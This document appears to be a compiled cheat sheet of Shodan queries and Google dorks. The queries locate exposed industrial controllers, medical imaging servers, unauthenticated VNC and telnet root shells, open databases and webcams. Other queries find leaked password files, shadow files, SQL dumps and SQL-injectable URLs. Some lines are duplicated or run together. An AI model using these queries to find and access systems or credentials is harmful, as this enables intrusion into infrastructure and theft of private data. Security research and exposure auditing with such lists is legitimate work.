"Cisco IOS" "ADVIPSERVICESK9_LI-M"
Prison Pay Phones
"[2J[H Encartele Confidential"
Tesla PowerPack Charging Status
http.title:"Tesla PowerPack System" http.component:"d3" -ga3ca4f2
Electric Vehicle Chargers
"Server: gSOAP/2.8" "Content-Length: 583"
Maritime Satellites
Shodan made a pretty sweet Ship Tracker that maps ship locations in real time, too!
"Cobham SATCOM" OR ("Sailor" "VSAT")
Submarine Mission Control Dashboards
title:"Slocum Fleet Mission Control"
CAREL PlantVisor Refrigeration Units
"Server: CarelDataServer" "200 Document follows"
Nordex Wind Turbine Farms
http.title:"Nordex Control" "Windows 2000 5.0 x86" "Jetty/3.1 (JSP 1.1; Servlet 2.2; java 1.6.0_14)"
C4 Max Commercial Vehicle GPS Trackers
"[1m[35mWelcome on console"
DICOM Medical X-Ray Machines
Secured by default, thankfully, but these 1,700+ machines still have no business being on the internet.
"DICOM Server Response" port:104
GaugeTech Electricity Meters
"Server: EIG Embedded Web Server" "200 Document follows"
Siemens Industrial Automation
"Siemens, SIMATIC" port:161
Siemens HVAC Controllers
"Server: Microsoft-WinCE" "Content-Length: 12581"
Door / Lock Access Controllers
"HID VertX" port:4070
Railroad Management
"log off" "select the appropriate"
Tesla Powerpack charging Status:
Helps to find the charging status of tesla powerpack. http.title:"Tesla PowerPack System" http.component:"d3" -ga3ca4f2
XZERES Wind Turbine
title:"xzeres wind"
PIPS Automated License Plate Reader
"html:"PIPS Technology ALPR Processors""
Modbus
"port:502"
Niagara Fox
"port:1911,4911 product:Niagara"
GE-SRTP
"port:18245,18246 product:"general electric""
MELSEC-Q
"port:5006,5007 product:mitsubishi"
CODESYS
"port:2455 operating system"
S7
"port:102"
BACnet
"port:47808"
HART-IP
"port:5094 hart-ip"
Omron FINS
"port:9600 response code"
IEC 60870-5-104
"port:2404 asdu address"
DNP3
"port:20000 source address"
EtherNet/IP
"port:44818"
PCWorx
"port:1962 PLC"
Crimson v3.0
"port:789 product:"Red Lion Controls"
ProConOS
"port:20547 PLC"
Unprotected VNC
"authentication disabled" port:5900,5901 "authentication disabled" "RFB 003.008"
Windows RDP
99.99% are secured by a secondary Windows login screen.
"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"
CobaltStrike Servers
product:"cobalt strike team server" ssl.cert.serial:146473198 - default certificate serial number ssl.jarm:07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1
Hacked routers:
Routers which got compromised\ hacked-router-help-sos
Redis open instances
product:"Redis key-value store"
Citrix:
Find Citrix Gateway.\ title:"citrix gateway"
Weave Scope Dashboards
Command-line access inside Kubernetes pods and Docker containers, and real-time visualization/monitoring of the entire infrastructure.
title:"Weave Scope" http.favicon.hash:567176827
MongoDB
Older versions were insecure by default. Very scary.
"MongoDB Server Information" port:27017 -authentication
Mongo Express Web GUI
Like the infamous phpMyAdmin but for MongoDB.
"Set-Cookie: mongo-express=" "200 OK"
Jenkins CI
"X-Jenkins" "Set-Cookie: JSESSIONID" http.title:"Dashboard"
Jenkins:
Jenkins Unrestricted Dashboard x-jenkins 200
Docker APIs
"Docker Containers:" port:2375
Docker Private Registries
"Docker-Distribution-Api-Version: registry" "200 OK" -gitlab
Pi-hole Open DNS Servers
"dnsmasq-pi-hole" "Recursion: enabled"
Already Logged-In as root via Telnet
"root@" port:23 -login -password -name -Session
Telnet Access:
NO password required for telnet access.\ port:23 console gateway
Polycom video-conference system no-auth shell
"polycom command shell"
NPort serial-to-eth / MoCA devices without password
nport -keyin port:23
Android Root Bridges
A tangential result of Google's sloppy fractured update approach. 🙄 More information here.
"Android Debug Bridge" "Device" port:5555
Lantronix Serial-to-Ethernet Adapter Leaking Telnet Passwords
Lantronix password port:30718 -secured
Citrix Virtual Apps
"Citrix Applications:" port:1604
Cisco Smart Install
Vulnerable (kind of "by design," but especially when exposed).
"smart install client active"
PBX IP Phone Gateways
PBX "gateway console" -password port:23
Polycom Video Conferencing
http.title:"- Polycom" "Server: lighttpd" "Polycom Command Shell" -failed port:23
Telnet Configuration:
"Polycom Command Shell" -failed port:23
Example: Polycom Video Conferencing
Bomgar Help Desk Portal
"Server: Bomgar" "200 OK"
Intel Active Management CVE-2017-5689
"Intel(R) Active Management Technology" port:623,664,16992,16993,16994,16995 ”Active Management Technology”
HP iLO 4 CVE-2017-12542
HP-ILO-4 !"HP-ILO-4/2.53" !"HP-ILO-4/2.54" !"HP-ILO-4/2.55" !"HP-ILO-4/2.60" !"HP-ILO-4/2.61" !"HP-ILO-4/2.62" !"HP-iLO-4/2.70" port:1900
Lantronix ethernet adapter’s admin interface without password
"Press Enter for Setup Mode port:9999"
Wifi Passwords:
Helps to find the cleartext wifi passwords in Shodan. html:"def_wirelesspassword"
Misconfigured Wordpress Sites:
The wp-config.php if accessed can give out the database credentials. http.html:"* The wp-config.php creation script uses this file"
Exchange 2007
"x-owa-version" "IE=EmulateIE7" "Server: Microsoft-IIS/7.0"
Exchange 2010
"x-owa-version" "IE=EmulateIE7" http.favicon.hash:442749392
Exchange 2013 / 2016
"X-AspNet-Version" http.title:"Outlook" -"x-owa-version"
Lync / Skype for Business
"X-MS-Server-Fqdn"
SMB (Samba) File Shares
Produces ~500,000 results...narrow down by adding "Documents" or "Videos", etc.
"Authentication: disabled" port:445
Specifically domain controllers:
"Authentication: disabled" NETLOGON SYSVOL -unix port:445
Concerning default network shares of QuickBooks files:
"Authentication: disabled" "Shared this folder to access QuickBooks files OverNetwork" -unix port:445
FTP Servers with Anonymous Login
"220" "230 Login successful." port:21
Iomega / LenovoEMC NAS Drives
"Set-Cookie: iomega=" -"manage/login.html" -http.title:"Log In"
Buffalo TeraStation NAS Drives
Redirecting sencha port:9000
Logitech Media Servers
"Server: Logitech Media Server" "200 OK"
Example: Logitech Media Servers
Plex Media Servers
"X-Plex-Protocol" "200 OK" port:32400
Tautulli / PlexPy Dashboards
"CherryPy/5.1.0" "/home"
Home router attached USB
"IPC$ all storage devices"
Generic camera search
title:camera
Webcams with screenshots
webcam has_screenshot:true
D-Link webcams
"d-Link Internet Camera, 200 OK"
Hipcam
"Hipcam RealServer/V1.0"
Yawcams
"Server: yawcam" "Mime-Type: text/html"
webcamXP/webcam7
("webcam 7" OR "webcamXP") http.component:"mootools" -401
Android IP Webcam Server
"Server: IP Webcam Server" "200 OK"
Security DVRs
html:"DVR_H264 ActiveX"
Surveillance Cams:
With username:admin and password: :P\ NETSurveillance uc-httpd Server: uc-httpd 1.0.0
HP Printers
"Serial Number:" "Built:" "Server: HP HTTP"
Xerox Copiers/Printers
ssl:"Xerox Generic Root"
Epson Printers
"SERVER: EPSON_Linux UPnP" "200 OK"
"Server: EPSON-HTTP" "200 OK"
Canon Printers
"Server: KS_HTTP" "200 OK"
"Server: CANON HTTP Server"
Yamaha Stereos
"Server: AV_Receiver" "HTTP/1.1 406"
Apple AirPlay Receivers
Apple TVs, HomePods, etc.
"\x08_airplay" port:5353
Chromecasts / Smart TVs
"Chromecast:" port:8008
Crestron Smart Home Controllers
"Model: PYNG-HUB"
Calibre libraries
"Server: calibre" http.status:200 http.title:calibre
OctoPrint 3D Printer Controllers
title:"OctoPrint" -title:"Login" http.favicon.hash:1307375944
Ethereum Miners
"ETH - Total speed"
Apache Directory Listings
Substitute .pem with any extension or a filename like phpinfo.php.
http.title:"Index of /" http.html:".pem"
Misconfigured WordPress
Exposed wp-config.php files containing database credentials.
http.html:"* The wp-config.php creation script uses this file"
Too Many Minecraft Servers
"Minecraft Server" "protocol 340" port:25565
Literally Everything in North Korea
net:175.45.176.0/22,210.52.109.0/24,77.94.35.0/24
ATSCAN SCANNER — Designed for dork-based searches and mass scanning of web resources for vulnerabilities.
Fast Google Dorks Scan — An automated tool for gathering information about a specific website using dorks.
SiteDorks — A premade collection of search queries for Google, Bing, Ecosia, DuckDuckGo, Yandex, Yahoo, and more, comprising 527 websites.
which finds specific types of files (doc, pdf, mp3 etc) based on file extension
filetype:pdf “Cryptography”
link:
which searches for all links to a site or URL
link:”example.com”
cache:
which displays Google’s cached copy of a page
cache:yeahhub.com
info:
which displays summary information about a page
info:
OPERATOR
DESCRIPTION
EXAMPLE
intitle:
which finds strings in the title of a page
intitle:”Your Text”
allintext:
which finds all terms in the title of a page
allintext:”Contact”
inurl:
which finds strings in the URL of a page
inurl:”news.php?id=”
site:
which restricts a search to a particular site or domain
site:yeahhub.com “Keyword”
filetype:
# install
git clone https://github.com/opsdisk/metagoofil
cd metagoofil
pip install -r requirements.txt
# usage
python3 metagoofil.py -d domain.com -t doc -l 50 -n 50 -o /tmp/result -f /tmp/result/result.html -uintitle:" index of "/Invoices*"
intitle:"index of" ".env"
intitle:"index of" "/configs"intitle:"index of" "*.php"
intitle:"index of" "*.py"
intitle:"index of" "*.sh"
intitle:"index of" "schema.sql"
inurl: database
inurl:php?=id1
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num= andinurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=inurl:admin filetype:xls
intitle:"index of" "/mysql"
site:.edu intext:"index of" "payroll"
inurl:edu “login”
intext:”budget approved”) inurl:confidential
ext:inc "pwd=" "UID="
ext:ini intext:env.ini
ext:ini Version=... password
ext:ini Version=4.0.0.4 password
ext:ini eudora.ini
ext:ini intext:env.ini
ext:log "Software: Microsoft Internet Information Services *.*"
ext:log "Software: Microsoft Internet Information
ext:log "Software: Microsoft Internet Information Services *.*"
ext:log "Software: Microsoft Internet Information Services *.*"
ext:mdb inurl:*.mdb inurl:fpdb shop.mdb
ext:mdb inurl:*.mdb inurl:fpdb shop.mdb
ext:mdb inurl:*.mdb inurl:fpdb shop.mdb
filetype:SWF SWF
filetype:TXT TXT
filetype:XLS XLS
filetype:asp DBQ=" * Server.MapPath("*.mdb")
filetype:asp "Custom Error Message" Category Source
filetype:asp + "[ODBC SQL"
filetype:asp DBQ=" * Server.MapPath("*.mdb")
filetype:asp DBQ=" * Server.MapPath("*.mdb")
filetype:asp “Custom Error Message” Category Source
filetype:bak createobject sa
filetype:bak inurl:"htaccess|passwd|shadow|htusers"
filetype:bak inurl:"htaccess|passwd|shadow|htusers"
filetype:conf inurl:firewall -intitle:cvs
filetype:conf inurl:proftpd. PROFTP FTP server configuration file reveals
filetype:dat "password.dat
filetype:dat "password.dat"
filetype:eml eml +intext:"Subject" +intext:"From" +intext:"To"
filetype:eml eml +intext:"Subject" +intext:"From" +intext:"To"
filetype:eml eml +intext:”Subject” +intext:”From” +intext:”To”
filetype:inc dbconn
filetype:inc intext:mysql_connect
filetype:inc mysql_connect OR mysql_pconnect
filetype:log inurl:"password.log"
filetype:log username putty PUTTY SSH client logs can reveal usernames
filetype:log “PHP Parse error” | “PHP Warning” | “PHP Error”
filetype:mdb inurl:users.mdb
filetype:ora ora
filetype:ora tnsnames
filetype:pass pass intext:userid
filetype:pdf "Assessment Report" nessus
filetype:pem intext:private
filetype:properties inurl:db intext:password
filetype:pst inurl:"outlook.pst"
filetype:pst pst -from -to -date
filetype:reg reg +intext:"defaultusername" +intext:"defaultpassword"
filetype:reg reg +intext:"defaultusername" +intext:"defaultpassword"
filetype:reg reg +intext:â? WINVNC3â?
filetype:reg reg +intext:”defaultusername” +intext:”defaultpassword”
filetype:reg reg HKEY_ Windows Registry exports can reveal
filetype:reg reg HKEY_CURRENT_USER SSHHOSTKEYS
filetype:sql "insert into" (pass|passwd|password)
filetype:sql ("values * MD5" | "values * password" | "values * encrypt")
filetype:sql ("passwd values" | "password values" | "pass values" )
filetype:sql ("values * MD" | "values * password" | "values * encrypt")
filetype:sql +"IDENTIFIED BY" -cvs
filetype:sql password
filetype:sql password
filetype:sql “insert into” (pass|passwd|password)
filetype:url +inurl:"ftp://" +inurl:";@"
filetype:url +inurl:"ftp://" +inurl:";@"
filetype:url +inurl:”ftp://” +inurl:”;@”
filetype:xls inurl:"email.xls"
filetype:xls username password email
index of: intext:Gallery in Configuration mode
index.of passlist
index.of perform.ini mIRC IRC ini file can list IRC usernames and
index.of.dcim
index.of.password
intext:" -FrontPage-" ext:pwd inurl:(service | authors | administrators | users)
intext:""BiTBOARD v2.0" BiTSHiFTERS Bulletin Board"
intext:"# -FrontPage-" ext:pwd inurl:(service | authors | administrators | users) "# -FrontPage-" inurl:service.pwd
intext:"#mysql dump" filetype:sql
intext:"#mysql dump" filetype:sql 21232f297a57a5a743894a0e4a801fc3
intext:"A syntax error has occurred" filetype:ihtml
intext:"ASP.NET_SessionId" "data source="
intext:"About Mac OS Personal Web Sharing"
intext:"An illegal character has been found in the statement" -"previous message"
intext:"AutoCreate=TRUE password=*"
intext:"Can't connect to local" intitle:warning
intext:"Certificate Practice Statement" filetype:PDF | DOC
intext:"Certificate Practice Statement" inurl:(PDF | DOC)
intext:"Copyright (c) Tektronix, Inc." "printer status"
intext:"Copyright © Tektronix, Inc." "printer status"
intext:"Emergisoft web applications are a part of our"
intext:"Error Diagnostic Information" intitle:"Error Occurred While"
intext:"Error Message : Error loading required libraries."
intext:"Establishing a secure Integrated Lights Out session with" OR intitle:"Data Frame - Browser not HTTP 1.1 compatible" OR intitle:"HP Integrated Lights-
intext:"Fatal error: Call to undefined function" -reply -the -next
intext:"Fill out the form below completely to change your password and user name. If new username is left blank, your old one will be assumed." -edu
intext:"Generated by phpSystem"
intext:"Generated by phpSystem"
intext:"Host Vulnerability Summary Report"
intext:"HostingAccelerator" intitle:"login" +"Username" -"news" -demo
intext:"IMail Server Web Messaging" intitle:login
intext:"Incorrect syntax near"
intext:"Index of" /"chat/logs"
intext:"Index of /network" "last modified"
intext:"Index of /" +.htaccess
intext:"Index of /" +passwd
intext:"Index of /" +password.txt
intext:"Index of /admin"
intext:"Index of /backup"
intext:"Index of /mail"
intext:"Index of /password"
intext:"Microsoft (R) Windows * (TM) Version * DrWtsn32 Copyright (C)" ext:log
intext:"Microsoft CRM : Unsupported Browser Version"
intext:"Microsoft ® Windows * ™ Version * DrWtsn32 Copyright ©" ext:log
intext:"Network Host Assessment Report" "Internet Scanner"
intext:"Network Vulnerability Assessment Report"
intext:"Network Vulnerability Assessment Report"
intext:"Network Vulnerability Assessment Report" 本文来自 pc007.com
intext:"SQL Server Driver][SQL Server]Line 1: Incorrect syntax near"
intext:"Thank you for your order" +receipt
intext:"Thank you for your order" +receipt
intext:"Thank you for your purchase" +download
intext:"The following report contains confidential information" vulnerability -search
intext:"phpMyAdmin MySQL-Dump" "INSERT INTO" -"the"
intext:"phpMyAdmin MySQL-Dump" filetype:txt
intext:"phpMyAdmin" "running on" inurl:"main.php"
intextpassword | passcode) intextusername | userid | user) filetype:csv
intextpassword | passcode) intextusername | userid | user) filetype:csv
intitle:"index of" +myd size
intitle:"index of" etc/shadow
intitle:"index of" htpasswd
intitle:"index of" intext:connect.inc
intitle:"index of" intext:globals.inc
intitle:"index of" master.passwd
intitle:"index of" master.passwd 007电脑资讯
intitle:"index of" members OR accounts
intitle:"index of" mysql.conf OR mysql_config
intitle:"index of" passwd
intitle:"index of" people.lst
intitle:"index of" pwd.db
intitle:"index of" spwd
intitle:"index of" user_carts OR user_cart
intitle:"index.of *" admin news.asp configview.asp
intitle:("TrackerCam Live Video")|("TrackerCam Application Login")|("Trackercam Remote") -trackercam.com
intitle:(“TrackerCam Live Video”)|(“TrackerCam Application Login”)|(“Trackercam Remote”) -trackercam.com
inurl:admin inurl:userlist Generic userlist filesorg:microsoft
org:"United States Department"device:firewall
device:router
device:wap
device:webcam
device:media
device:"broadband router"
device:pbx
device:printer
device:switch
device:storage
device:specialized
device:phone
device:"voip"
device:"voip phone"
device:"voip adaptor"
device:"load balancer"
device:"print server"
device:terminal
device:remote
device:telecom
device:power
device:proxy
device:pda
device:bridgeos:"windows 7"
os:"windows server 2012"
os:"linux 3.x"product:apache
product:nginx
product:android
product:chromecastcpe:apple
cpe:microsoft
cpe:nginx
cpe:ciscoserver: nginx
server: apache
server: microsoft
server: cisco-ios

